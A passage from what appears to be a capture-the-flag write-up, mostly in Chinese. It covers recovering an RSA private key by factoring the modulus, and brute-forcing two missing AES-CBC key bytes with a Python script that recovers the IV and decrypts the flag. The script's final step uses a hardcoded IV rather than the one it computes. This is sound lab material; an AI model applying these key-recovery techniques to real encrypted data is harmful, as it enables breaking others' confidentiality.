	7a:48:cd:c2:ee:40:d6:f0:4c:37:85:d6:f6:68:d1: 
	0e:75:c8:0e:27:96:6b:61:87:fa:fc:87:75:27:03: 
	f4:98:d3:76:8c:ce:b9:be:ba:1e:0c:46:02:fd:96: 
	65:36:a8:c6:a3:c4:83:13:81:0b:13:bf:41:c3:56: 
	2f:80:76:fb:51:c4:d9:dc:cc:ac:6d:60:27:42:3d: 
	ab:3a:89:ee:d0:ab:94:0b:9a:90:6b:7e:b5:07:2d: 
	fc:e4:58:fa:fe:11:f9:dd:2b 

Exponent: 
	65537 (0x10001)

將這組數字丟上 factordb.com 可以得到 p 以及 q ,再用工具便可以得到 pem ,將 pem 丟回 wireshark 中便可以得到 flag 了

Flag: CTF{F4c70rdb_m4j_h3!p_y@u_4_lo00o@ot!!*-}


🔓 Crypto 200 - Lost

透過封包的內容我們可以得到

Plaintext = Thi5 i$ 7he p!4int3x7 0f AES-CBC
KEY = Ad5xBvZR1HVhE6** // 後面兩位未知
AES-CBC(KEY, FLAG) = 9c2ea756ed9ca3c05d541f7df961b3569e5f85a3387a818ed4c23db57aeeb1e4
AES-CBC(KEY, Plaintext) = 1f****************************8452fe2ad18a9e5e26887d133a13d7b818

因為 AES-CBC 以 Block 作為切割,所以先從已知的 block 開始,
也就是 Plaintext[16:] ,以及 Ciphertext[16:]
先將所有的 key 組合找出,並用 Ciphertext[0:16] 驗證該組合的可能性。

然後將所有可能的 key ,嘗試用 Ciphertext[0:16] 找出 IV ,
並再用該組 (key, IV) 對 FLAG 解密,得到 FLAG 格式的即為解。

#!/usr/bin/env python

import string
import itertools
from Crypto.Cipher import AES

def xor_blocks(b1, b2):
    return "".join(chr(ord(x) ^ ord(y)) for x, y in zip(b1, b2))

def encrypt(m, p, iv):
    aes = AES.new(p, AES.MODE_CBC, iv)
    return aes.encrypt(m)

def decrypt_block(c, k):
    aes = AES.new(k, AES.MODE_ECB)
    return aes.decrypt(c)

def brute_block(c_block, p_block, known_iv, known_key_prefix):
    assert(len(p_block) == 16)

    # Candidate list
    candidates = []

    # Known key prefix
    brute_count = (16 - len(known_key_prefix))

    # Character set
    charset = [chr(x) for x in xrange(0x00,0x100)]

    # Brute-force
    for p in itertools.chain.from_iterable((''.join(l) for l in itertools.product(charset, repeat=i)) for i in range(brute_count, brute_count + 1)):
        candidate = known_key_prefix + p
        d = decrypt_block(c_block, candidate)
        t = True
        # Check whether known plaintext/known iv constraint holds
        for offset in known_iv:
            t = (t and (p_block[offset] == chr(ord(d[offset]) ^ ord(known_iv[offset]))))

        if(t == True):
            candidates.append(candidate)

    return candidates

# Known key fragment
known_key_prefix = "Ad5xBvZR1HVhE6"
# Known plaintext
plaintext = "Thi5 i$ 7he p!4int3x7 0f AES-CBC"
# Ciphertext block 1
c_block_1 = "52fe2ad18a9e5e26887d133a13d7b818".decode('hex')
# Known fragments of ciphertext block 0, organized by offset
known_iv = {
    0: "\x1f",
    15: "\x84"
}

# Obtain candidate keys
candidate_keys = brute_block(c_block_1, plaintext[16:], known_iv, known_key_prefix)

# Try all candidate keys
for k in candidate_keys:
    # Obtain ciphertext block 0 as IV of ciphertext block 1
    c_block_0 = xor_blocks(decrypt_block(c_block_1, k), plaintext[16:])

    # Obtain IV given known ciphertext block 0, plaintext block 0 and key
    IV = xor_blocks(decrypt_block(c_block_0, k), plaintext[:16])
    print k
    print "[+]Candidate IV: [%s]" % repr(IV)
    aes = AES.new(k, AES.MODE_CBC, "8RQEs0dcprleIYbd")
    print aes.decrypt("9c2ea756ed9ca3c05d541f7df961b3569e5f85a3387a818ed4c23db57aeeb1e4".decode('hex'))

Ref: https://github.com/smokeleeteveryday/CTF_WRITEUPS/tree/master/2015/TMCTF/crypto/crypto200

Flag: CTF{0x52fec4c0afd8ffaebc93cbaa6}


🔓 Crypto 400 - Helllo